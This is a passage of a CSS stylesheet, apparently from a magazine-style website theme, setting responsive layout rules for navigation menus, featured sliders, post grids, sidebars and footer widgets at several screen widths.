	.footer-widget-wrapper.footer-widget-style-6:nth-child(2),.footer-widget-wrapper.footer-widget-style-7:last-child {
		width: 42.5%
	}
	.footer-widget-wrapper.footer-widget-style-8,
	.footer-widget-wrapper.footer-widget-style-9 {
		width: 26%
	}
	.footer-widget-wrapper.footer-widget-style-8:last-child,
	.footer-widget-wrapper.footer-widget-style-9:first-child {
		width: 70.5%
	}
	.penci-related-grid-display .item-related {
		width: 50%
	}
	.penci-related-grid-display .item-related:nth-child(3n+1) {
		clear: none
	}
	.penci-related-grid-display .item-related:nth-child(2n+1) {
		clear: both
	}
	.featured-style-35 .penci-featured-content-right,
	.featured-style-35.style-36 .penci-featured-content-right {
		width: 350px
	}
	.featured-style-35 .penci-image-holder:before,
	.featured-style-35.style-36 .penci-image-holder:before {
		height: 450px
	}
	.featured-style-35 .featured-content-excerpt p {
		display: none
	}
	.featured-style-35 .feat-text-right .penci-featured-slider-button {
		animation-delay: 1.2s;
		-webkit-animation-delay: 1.2s
	}
	.featured-style-35 .feat-text-right h3 a {
		font-size: 24px
	}
	.penci-headline {
		text-align: center;
		padding: 15px 0 8px
	}
	.penci-headline .pctopbar-item {
		float: none;
		margin-left: 0;
		margin-right: 0;
		display: block;
		margin-bottom: 10px;
		line-height: normal
	}
	.penci-headline .pctopbar-item.penci-topbar-social,
	.penci-headline .pctopbar-item.penci-topbar-social-mobile {
		margin-bottom: 6px
	}
	.penci-topbar-social a,
	.penci-topbar-social-mobile a {
		line-height: normal;
		float: none;
		margin-bottom: 5px
	}
	div.penci-topbar-menu-mobile>ul>li>a,
	div.penci-topbar-menu>ul>li>a,
	ul.penci-topbar-menu-mobile>li>a,
	ul.penci-topbar-menu>li>a {
		line-height: 1.6
	}
	.penci-headline .pctopbar-item.penci-topbar-trending {
		margin-left: auto;
		margin-right: auto
	}
	.pctopbar-login-btn li.pclogin-item img {
		top: auto;
		display: inline-block
	}
}
@media only screen and (min-width:961px) and (max-width:1169px) {
	body {
		--pcctain: 940px;
	}
	#navigation ul.menu>li.megamenu>ul.sub-menu,
	.container,
	.featured-area.magazine-slider,
	.featured-area.style-1,
	.featured-area.style-4 {
		width: var(--pcctain);
		max-width: calc(100% - 60px);
	}
	.wrapper-boxed.enable-boxed,
	.wrapper-boxed.enable-boxed .is-sticky #navigation {
		max-width: 1000px
	}
	.container.has-banner #logo {
		width: 320px;
		padding-right: 30px
	}
	.container.has-banner .header-banner {
		width: 620px
	}
	#navigation.header-4 .pcheader-icon,
	#navigation.header-5 .pcheader-icon,
	#navigation.header-6 .pcheader-icon {
		margin-left: 26px
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
		width: 25%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
		width: 33.3333%
	}
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-1 .penci-mega-post:nth-child(4),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(7),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(8),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(10),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(11),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(12),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-1 .penci-mega-post:nth-child(5),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-2 .penci-mega-post:nth-child(10),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-2 .penci-mega-post:nth-child(9),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(13),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(14),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(15) {
		display: none
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1) {
		clear: none
	}
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(3n+1),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(3n+1),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(4n+1) {
		clear: both
	}
	#navigation .menu>ul>li,
	#navigation ul.menu>li {
		margin-right: 16px
	}
	#navigation .menu ul li.megamenu ul ul>li>a,
	#navigation ul.menu li.megamenu ul ul>li>a {
		margin: 0 10px
	}
	.featured-carousel .featured-content,
	.featured-carousel.style-2 .featured-content {
		top: 38.7%
	}
	.featured-carousel.style-7 .featured-content .feat-text h3,
	.featured-carousel.style-7 .featured-content .feat-text h3 a,
	.wrapper-boxed.enable-boxed .featured-carousel.style-7 .featured-content .feat-text h3 {
		padding: 0
	}
	.featured-carousel.style-7 .featured-content .feat-text h3 a:after,
	.featured-carousel.style-7 .featured-content .feat-text h3 a:before {
		content: none;
		display: none
	}
	.penci-image-holder.slider-style-1-fix {
		height: 480px
	}
	.penci-image-holder.slider-style-3-fix {
		height: 460px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content {
		height: 300px
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content {
		height: 600px
	}
	.penci-magazine-slider ul.mag-wrap li {
		width: 303px;
		height: 212px
	}
	.penci-magazine-slider ul.mag-wrap li.mag-item-1 {
		width: 636px;
		height: 424px
	}
	ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before {
		left: 10px;
		top: 10px;
		right: 10px;
		bottom: 10px
	}
	.featured-style-6 .wrapper-item .penci-item-mag {
		width: 32.83%
	}
	.featured-style-6 .wrapper-item .penci-item-1 {
		width: 67.17%;
		border-right: 5px solid transparent
	}
	.featured-style-6 .wrapper-item .penci-item-2 {
		border-bottom: 2px solid transparent
	}
	.featured-style-6 .wrapper-item .penci-item-0 {
		border-top: 3px solid transparent
	}
	.featured-style-13 .penci-image-holder:before,
	.featured-style-15 .penci-image-holder:before {
		height: 350px
	}
	.featured-style-14 .penci-image-holder:before,
	.featured-style-16 .penci-image-holder:before {
		height: 300px
	}
	.featured-style-16 .penci-mag-featured-content h3 a {
		font-size: 15px
	}
	.featured-style-17 .penci-image-holder:before,
	.featured-style-18 .penci-image-holder:before {
		height: 160px
	}
	.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,
	.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before {
		height: 324px
	}
	.featured-style-17 .penci-mag-featured-content .feat-meta,
	.featured-style-18 .penci-mag-featured-content .feat-meta {
		display: none
	}
	.penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a {
		font-size: 20px
	}
	.featured-style-17 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-18 .penci-slide-overlay .penci-mag-featured-content {
		left: 0;
		width: 100%;
		padding: 0 5px;
		text-align: center
	}
	.penci-grid li.list-boxed-post-2 {
		width: 50%
	}
	.penci_sidebar .penci-grid li.list-boxed-post-2 {
		width: 100%
	}
	.penci-grid li.list-boxed-post-2:nth-of-type(2n+1) {
		clear: both
	}
	.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
		height: 312px
	}
	.penci-grid li.list-boxed-post-2:nth-of-type(2n+1) .content-boxed-2.show-top {
		display: none
	}
	.penci-grid li.list-boxed-post-2:nth-of-type(2n+1) .content-boxed-2.show-bottom {
		display: block
	}
	.penci-grid li.list-boxed-post-2:nth-of-type(2n+2) .content-boxed-2.show-top {
		display: block
	}
	.penci-grid li.list-boxed-post-2:nth-of-type(2n+2) .content-boxed-2.show-bottom {
		display: none
	}
	.penci_sidebar .penci-grid li.list-boxed-post-2 .content-boxed-2.show-top {
		display: none !important
	}
	.penci_sidebar .penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom {
		display: block !important
	}
	.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
		min-height: 312px;
		height: auto
	}
	.penci-grid li.list-boxed-post-2 .item>.thumbnail:before {
		display: none;
		content: none
	}
	.penci-photo-2-effect figcaption h2 {
		padding: 0 20px 20px;
		font-size: 18px
	}
	.penci-photo-2-effect figcaption p {
		margin-top: 20px;
		padding: 0 20px;
		font-size: 93%
	}
	.penci_sidebar .penci-photo-2-effect figcaption p {
		display: none
	}
	.penci_sidebar .penci-photo-2-effect figcaption:after,
	.penci_sidebar .penci-photo-2-effect figcaption:before {
		display: none;
		content: none
	}
	.penci_sidebar .penci-photo-2-effect figcaption h2 {
		padding: 0 20px;
		transform: translateY(-50%);
		-webkit-transform: translateY(-50%);
		font-size: 14px
	}
	.container.penci_sidebar .penci-grid li.typography-style {
		width: 48.05%;
		margin-right: 3.9%
	}
	.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(3n+3) {
		margin-right: 3.9%;
		clear: none
	}
	.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(2n+1) {
		margin-right: 0
	}
	.container.penci_sidebar .penci-grid li.typography-style:nth-of-type(2n+1) {
		clear: both
	}
	.container.penci_sidebar .penci-grid li.typography-style {
		width: 100%;
		margin-right: 0
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,
	.widget ul.side-newsfeed li .side-item .side-image img {
		width: 100px
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,
	.widget ul.side-newsfeed li .side-item .side-item-text h4 a {
		font-size: 14px
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
	.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta {
		font-size: 11px
	}
	.penci_sidebar .penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,
	.portfolio-overlay-content .portfolio-short {
		margin-top: 17%
	}
	.penci-grid .list-post.list-boxed-post .item .content-list-right {
		min-height: 313px;
		height: 313px
	}
	.container.penci_sidebar .penci-masonry .item-masonry.standard-masonry {
		width: 100%
	}
	.home-featured-cat-content .mag-photo .magcat-detail {
		width: 100%
	}
	.home-featured-cat-content .magcat-detail h3 a {
		font-size: 14px
	}
	.home-featured-cat-content .magcat-detail .mag-meta {
		margin-top: 5px
	}
	.home-featured-cat-content .mag-photo .grid-post-box-meta span,
	.home-featured-cat-content .mag-photo .grid-post-box-meta span a {
		font-size: 12px
	}
	.widget-social.show-text a span {
		margin-left: 1px;
		font-size: 12px
	}
	ul.footer-socials li {
		margin-right: 12px
	}
	ul.footer-socials li a span {
		margin-left: 8px
	}
	.overlay-header-box .overlay-title a {
		font-size: 20px
	}
	.widget .penci-widget-slider .penci-widget-slide-detail h4 a {
		font-size: 14px
	}
	.penci-widget-slide-detail .slide-item-date {
		font-size: 13px
	}
	.home-featured-cat-content .mag-photo .magcat-detail {
		padding: 15px
	}
	.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a {
		font-size: 16px
	}
	.penci-single-mag-slider .magcat-detail .magcat-titlte {
		font-size: 20px
	}
}
@media only screen and (max-width:1169px) {
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 {
		margin: 0 0 5px;
		width: 100% !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 {
		margin: 0
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content {
		width: 50%;
		float: left;
		display: block;
		margin: 0 !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content:first-child {
		border-right: 3px solid transparent
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content:last-child {
		border-left: 3px solid transparent
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content {
		width: 100%;
		border: none !important
	}
	.penci-magazine-slider img {
		width: 100%
	}
}
@media only screen and (min-width:961px) {
	#navigation .menu {
		display: inline-block !important
	}
}
@media only screen and (max-width:960px) {
	.container.has-banner #logo {
		text-align: center;
		display: block;
		width: auto
	}
	.container.has-banner .header-banner {
		display: block;
		margin-top: 30px;
		width: 100%;
		text-align: center
	}
	.featured-area.style-7.loaded .featured-carousel:before {
		content: none;
		display: none
	}
	.featured-style-2 .penci-owl-carousel .swiper-slide {
		width: 760px
	}
	.penci-top-bar {
		text-align: center
	}
	.penci-top-bar.no-social.topbar-menu {
		display: block
	}
	.penci-topbar-social {
		float: none
	}
	.overlay-video-click {
		display: none !important
	}
	#navigation.header-10>.container,
	#navigation.header-11>.container {
		display: table
	}
	#navigation.header-10 .penci-menu-wrap,
	#navigation.header-11 .penci-menu-wrap {
		display: none
	}
	#navigation.header-10,
	#navigation.header-10 .penci-menuhbg-toggle,
	#navigation.header-11,
	#navigation.header-11 .penci-menuhbg-toggle,
	#navigation.header-6,
	#navigation.header-6 .penci-menuhbg-toggle {
		height: 60px
	}
	#navigation.header-6 .container {
		text-align: center
	}
	#navigation.header-6 #logo {
		float: none;
		display: inline-block
	}
	#navigation.header-6 #logo img {
		max-height: 58px;
		padding: 10px 0
	}
	#navigation.header-10 .show-search,
	#navigation.header-11 .show-search,
	#navigation.header-6 .show-search,
	#navigation.header-9 .show-search {
		height: 58px
	}
	#navigation.header-10 .main-nav-social,
	#navigation.header-10 .pcheader-icon>a,
	#navigation.header-10 .show-search a.close-search,
	#navigation.header-11 .main-nav-social,
	#navigation.header-11 .pcheader-icon>a,
	#navigation.header-11 .show-search a.close-search,
	#navigation.header-9 .main-nav-social,
	#navigation.header-9 .pcheader-icon>a,
	#navigation.header-9 .show-search a.close-search {
		height: 58px;
		line-height: 58px
	}
	#navigation.header-6 .main-nav-social,
	#navigation.header-6 .pcheader-icon>a,
	#navigation.header-6 .show-search a.close-search {
		height: 58px;
		line-height: 58px
	}
	#navigation.header-6 .show-search form.pc-searchform input.search-input {
		height: 58px;
		padding: 15px 35px 15px 0
	}
	#navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span {
		top: 12px
	}
	#navigation.header-7,
	#navigation.header-8,
	#navigation.header-9 {
		padding: 0 10px
	}
	.penci-magazine-slider ul.mag-wrap li {
		width: 50%;
		height: 240px;
		border: none
	}
	.wrapper-boxed.enable-boxed .featured-area.style-2.loaded-wait button.slick-prev {
		left: 0 !important
	}
	.wrapper-boxed.enable-boxed .featured-area.style-2.loaded-wait button.slick-next {
		right: 0 !important
	}
	.penci-magazine-slider ul.mag-wrap li.mag-item-1 {
		width: 100%;
		padding-bottom: 66.11%;
		height: 0;
		border: none;
		border-bottom: 4px solid transparent
	}
	.penci-magazine-slider ul.mag-wrap li.mag-item-2 {
		border-right: 2px solid transparent;
		border-bottom: none
	}
	.penci-magazine-slider ul.mag-wrap li.mag-item-3 {
		border-left: 2px solid transparent;
		border-bottom: none
	}
	.featured-style-4 .penci-owl-carousel .penci-image-holder:before,
	.featured-style-5 .penci-owl-carousel .penci-image-holder:before {
		height: 0;
		padding-top: 50%
	}
	.featured-style-4 .penci-featured-content .featured-slider-overlay,
	.featured-style-5 .penci-featured-content .featured-slider-overlay {
		background: #000
	}
	.featured-style-4 .penci-featured-content .feat-text h3 a,
	.featured-style-5 .penci-featured-content .feat-text h3 a {
		font-size: 22px
	}
	.featured-style-4 .penci-featured-content,
	.featured-style-4 .penci-owl-carousel .penci-image-holder,
	.featured-style-5 .penci-featured-content,
	.featured-style-5 .penci-owl-carousel .penci-image-holder {
		width: 100%
	}
	.penci-slider4-overlay,
	.penci-slider5-overlay {
		background: 0 0 !important
	}
	.featured-style-6 .wrapper-item .penci-item-mag {
		width: 50%;
		border: none
	}
	.featured-style-14 .wrapper-item .penci-item-1,
	.featured-style-16 .wrapper-item .penci-item-2,
	.featured-style-16 .wrapper-item .penci-item-mag,
	.featured-style-6 .wrapper-item .penci-item-1 {
		width: 100%;
		border: none;
		border-bottom: 4px solid transparent
	}
	.featured-style-6 .wrapper-item .penci-item-2 {
		border-right: 2px solid transparent
	}
	.featured-style-6 .wrapper-item .penci-item-0 {
		border-left: 2px solid transparent
	}
	.featured-style-13 .wrapper-item .penci-item-mag,
	.featured-style-14 .wrapper-item .penci-item-mag {
		width: 50%
	}
	.featured-style-13 .wrapper-item .penci-item-1,
	.featured-style-14 .wrapper-item .penci-item-1,
	.featured-style-15 .wrapper-item .penci-item-2,
	.featured-style-15 .wrapper-item .penci-item-mag {
		width: 100%
	}
	.featured-style-13 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-14 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-15 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-16 .penci-slide-overlay .penci-mag-featured-content {
		text-align: center
	}
	.featured-style-13 .penci-image-holder:before {
		height: 400px
	}
	.featured-style-14 .penci-image-holder:before,
	.featured-style-15 .penci-image-holder:before,
	.featured-style-16 .penci-image-holder:before {
		height: 350px
	}
	.featured-style-17 .wrapper-item .penci-slide17-item-2,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item,
	.featured-style-18 .wrapper-item .penci-slide17-item-2,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item {
		float: none;
		width: 100%;
		vertical-align: top
	}
	.featured-style-17 .wrapper-item .penci-slide17-item-2,
	.featured-style-18 .wrapper-item .penci-slide17-item-2 {
		border: none;
		border-top: 4px solid transparent;
		border-bottom: 4px solid transparent
	}
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-0,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-1,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-2,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-4,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-0,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-1,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-2,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-4 {
		width: 50%;
		float: left
	}
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-1,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-4,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-1,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-4 {
		border-right: 2px solid transparent;
		margin: 0
	}
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-0,
	.featured-style-17 .wrapper-item .penci-slider17-mag-item .penci-item-2,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-0,
	.featured-style-18 .wrapper-item .penci-slider17-mag-item .penci-item-2 {
		border-left: 2px solid transparent
	}
	.featured-style-17 .penci-image-holder:before,
	.featured-style-18 .penci-image-holder:before {
		height: 200px
	}
	.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,
	.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before {
		height: 300px
	}
	.featured-style-19 .penci-mag-featured-content .feat-meta {
		display: none
	}
	.featured-style-19 .penci-image-holder:before {
		height: 215px
	}
	.featured-style-19 .penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 18px
	}
	.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-21 .penci-item-3 .penci-mag-featured-content h3 a {
		font-size: 14px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-22 .wrapper-item .penci-item-mag,
	.featured-style-23 .wrapper-item .penci-item-mag,
	.featured-style-27 .wrapper-item .penci-item-mag {
		border-bottom: 4px solid transparent;
		width: 50%
	}
	.featured-style-22 .wrapper-item .penci-item-1,
	.featured-style-27 .wrapper-item .penci-item-1 {
		width: 100%
	}
	.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a {
		font-size: 16px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a {
		font-size: 18px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-24 .wrapper-item .penci-item-mag,
	.featured-style-25 .wrapper-item .penci-item-1,
	.featured-style-25 .wrapper-item .penci-item-mag,
	.featured-style-26 .wrapper-item .penci-item-mag {
		width: 50%
	}
	.featured-style-24 .wrapper-item .penci-item-0,
	.featured-style-24 .wrapper-item .penci-item-1,
	.featured-style-24 .wrapper-item .penci-item-2,
	.featured-style-24 .wrapper-item .penci-item-3 {
		border-bottom: 4px solid transparent
	}
	.featured-style-24 .penci-item-0 .penci-image-holder:before,
	.featured-style-24 .penci-item-1 .penci-image-holder:before,
	.featured-style-24 .penci-item-2 .penci-image-holder:before,
	.featured-style-24 .penci-item-3 .penci-image-holder:before,
	.featured-style-25 .penci-item-0 .penci-image-holder:before,
	.featured-style-25 .penci-item-1 .penci-image-holder:before,
	.featured-style-25 .penci-item-2 .penci-image-holder:before,
	.featured-style-25 .penci-item-3 .penci-image-holder:before,
	.featured-style-27 .penci-image-holder:before {
		height: 200px
	}
	.featured-style-24 .penci-mag-featured-content .cat,
	.featured-style-25 .penci-mag-featured-content .cat {
		display: none
	}
	.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a {
		font-size: 16px;
		text-transform: none;
		letter-spacing: 0
	}
	.featured-style-26 .wrapper-item .penci-item-1 {
		width: 100%;
		border-bottom: 4px solid transparent
	}
	.featured-style-27 .penci-mag-featured-content .feat-meta {
		display: none
	}
	.featured-style-27 .penci-item-1 .penci-image-holder:before {
		height: 250px
	}
	.featured-style-35 .penci-featured-content-right,
	.featured-style-35.style-36 .penci-featured-content-right {
		width: 100%;
		text-align: center
	}
	.featured-style-35 .penci-image-holder:before,
	.featured-style-35.style-36 .penci-image-holder:before {
		height: 0;
		padding-top: 55%
	}
	.featured-style-35 .feat-text-right .penci-featured-slider-button {
		display: none
	}
	.penci-featured-content-right:before {
		content: none
	}
	.penci-featured-content-right .feat-text-right:before {
		background: #000;
		opacity: .7;
		content: "";
		position: absolute;
		top: 0;
		left: 0;
		bottom: 0;
		right: 0;
		width: 100%;
		height: 100%;
		display: block;
		z-index: 1
	}
	.featured-style-35 .feat-text-right h3,
	.featured-style-35 .featured-cat {
		z-index: 5;
		position: relative
	}
	.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .feat-text-right h3,
	.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-cat,
	.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-content-excerpt,
	.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button {
		animation-name: none;
		-webkit-animation-name: none;
		-moz-animation-name: none;
		-o-animation-name: none
	}
	.featured-style-35 .featured-content-excerpt {
		display: none
	}
	.feat-text-right {
		padding-top: 15px;
		padding-bottom: 15px;
		width: 450px;
		left: 50%;
		margin-left: -225px
	}
	.featured-style-37 .penci-featured-items-left,
	.featured-style-37 .penci-featured-items-right {
		width: 100%;
		border: none;
		float: none
	}
	.featured-style-37 .penci-featured-items-left {
		margin-bottom: 4px
	}
	.featured-style-37 .penci-featured-items-right .item {
		width: 50%;
		border: none;
		margin: 0 !important;
		float: left
	}
	.featured-style-37 .penci-featured-items-right .item:first-child {
		border-right: 2px solid transparent
	}
	.featured-style-37 .penci-featured-items-right .item:last-child {
		border-left: 2px solid transparent
	}
	h2.penci-heading-video {
		font-size: 24px
	}
	p.penci-sub-heading-video {
		font-size: 14px
	}
	.penci-grid li.list-boxed-post-2 {
		width: 100% !important
	}
	.penci-grid li.list-boxed-post-2 .content-boxed-2.show-top {
		display: none !important
	}
	.penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom {
		display: block !important
	}
	.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2,
	.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
		min-height: 312px;
		height: auto
	}
	.penci-grid li.list-boxed-post-2 .item>.thumbnail:before {
		display: none;
		content: none
	}
	.container .penci-grid li.typography-style {
		width: 100% !important;
		margin-right: 0 !important
	}
	.penci-photo-2-effect figcaption p,
	.penci_sidebar .penci-photo-2-effect figcaption p {
		display: none
	}
	.penci-photo-2-effect figcaption:after,
	.penci-photo-2-effect figcaption:before,
	.penci_sidebar .penci-photo-2-effect figcaption:after,
	.penci_sidebar .penci-photo-2-effect figcaption:before {
		display: none;
		content: none
	}
	.penci-photo-2-effect figcaption h2,
	.penci_sidebar .penci-photo-2-effect figcaption h2 {
		padding: 0 20px;
		transform: translateY(-50%);
		-webkit-transform: translateY(-50%)
	}
	.grid-mixed .thumbnail img {
		width: 100%;
		height: auto
	}
	.grid-mixed .mixed-detail,
	.grid-mixed .thumbnail.thumb-left {
		display: block !important;
		width: 100%
	}
	.grid-mixed .mixed-detail {
		padding: 30px
	}
	.grid-mixed .penci-post-box-meta {
		position: relative;
		margin: 31px 0 4px;
		left: auto;
		right: auto;
		bottom: auto
	}
	.grid-mixed .thumbnail.thumb-right {
		display: none !important
	}
	#navigation.header-4 .container,
	#navigation.header-5 .container {
		text-align: right
	}
	#navigation.header-4 .container .pcheader-icon,
	#navigation.header-5 .container .pcheader-icon,
	#navigation.header-6 .container .pcheader-icon {
		margin-left: 15px
	}
	#navigation .button-menu-mobile {
		display: inline-block
	}
	#navigation .menu {
		display: none !important
	}
	.portfolio-page-content .portfolio-left,
	.portfolio-page-content .portfolio-right {
		width: 100%;
		padding: 0
	}
	.portfolio-page-content .portfolio-left {
		margin-bottom: 30px
	}
	.container.penci_sidebar #main {
		width: 100%;
		margin: 0 0 60px 0;
		padding: 0 !important;
		float: none !important
	}
	.penci-single-style-10 .penci-single-s10-content,
	.penci-single-style-13 .penci-single-s13-content {
		width: 100%;
		margin: 20px 0 0 0;
		padding: 0 !important;
		float: none !important
	}
	.penci-sidebar-content {
		position: static !important;
		margin-left: 0 !important;
		top: auto !important;
		float: none !important;
		width: 100% !important
	}
	.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) .penci-sidebar-content {
		display: none !important
	}
	.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) .container.penci_sidebar #main {
		margin: 0
	}
	.penci-single-infiscroll .penci-single-block:not(.penci-single-infiblock-end) article.post {
		margin-bottom: 40px
	}
	.featured-carousel .featured-content .feat-text h3 a {
		font-size: 18px
	}
	.featured-carousel .carousel-meta {
		margin-top: 5px
	}
	.featured-carousel .carousel-meta span {
		font-size: 13px
	}
	.featured-carousel .featured-cat a {
		font-size: 11px
	}
	.about-widget {
		text-align: center
